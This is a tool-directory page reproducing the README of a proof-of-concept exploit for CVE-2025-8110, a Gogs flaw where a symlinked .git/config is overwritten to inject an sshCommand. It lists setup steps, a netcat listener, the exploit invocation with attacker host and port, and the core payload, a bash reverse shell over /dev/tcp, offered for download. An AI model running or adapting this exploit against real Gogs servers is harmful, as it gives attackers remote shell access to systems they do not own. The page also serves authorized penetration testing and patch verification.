Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-8110 — Proof-of-concept exploit for CVE-2025-8110, a Gogs RCE vulnerability exploiting path traversal via symbolic links and sshCommand injection to deliver a reverse shell. | Kitploit
Tools/GitHubGitHub/ghxstsec/cve-2025-8110
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubghxstsec/cve-2025-8110

CVE-2025-8110

Proof-of-concept exploit for CVE-2025-8110, a Gogs RCE vulnerability exploiting path traversal via symbolic links and sshCommand injection to deliver a reverse shell.

View Repository
53221 month agoNot yet reviewed
Share

Gogs RCE Exploit (CVE-2025-8110)

Python License Expertise

A Proof of Concept (PoC) for CVE-2025-8110, a critical vulnerability in Gogs that allows Remote Code Execution (RCE) via .git/config manipulation using symbolic link bypasses and sshCommand injection.

📖 Overview

This exploit targets a Path Traversal flaw in the Gogs API content management. An authenticated user can:

  1. Create a repository and push a symbolic link pointing to the internal .git/config.
  2. Use the API to overwrite the target config file via the symlink.
  3. Inject a malicious sshCommand to execute a Reverse Shell when the server performs Git operations.

🚀 Features

  • Automated Workflow: Handles login, repo creation, symlink deployment, and poisoning.
  • Robust Encoding: Automatically URL-encodes credentials to handle special characters (e.g., !, @).
  • Rich Output: High-visibility logging using the Rich library.

🛠 Prerequisites

  • Python 3.12+
  • Git installed on the local system.
  • Valid credentials on the target Gogs instance.

📦 Installation

  1. Clone the repository:
    git clone https://github.com/Ghxstsec/CVE-2025-8110.git
    cd CVE-2025-8110
    

Install dependencies:

pip3 install -r requirements.txt

💻 Usage

Start your listener:

nc -lvnp 6666

Run the exploit:

python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'

Arguments:

ArgumentDescription
-u, --urlBase URL of the target Gogs instance (e.g., http://target.htb:3000).
-lh, --hostAttacker IP (LHOST) where the reverse shell will connect back.
-lp, --portListener Port (LPORT) configured on your machine.
-p, --passwordPassword for the pwnuser account to perform authentication.
-x, --proxy(Optional) Routes traffic through a local proxy (default: http://localhost:8080).

Core of the vulnerability:

sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #

When Gogs executes a Git command that requires network transport (like a mirror sync or internal reference check), it invokes the sshCommand, triggering the reverse shell.

⚠️ Legal Disclaimer: This tool is for educational and authorized security testing purposes only. The author is not responsible for any misuse or damage caused by this script. Unauthorized access to computer systems is illegal.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    287

Explore all tools

Browse our collection of tools

View all tools →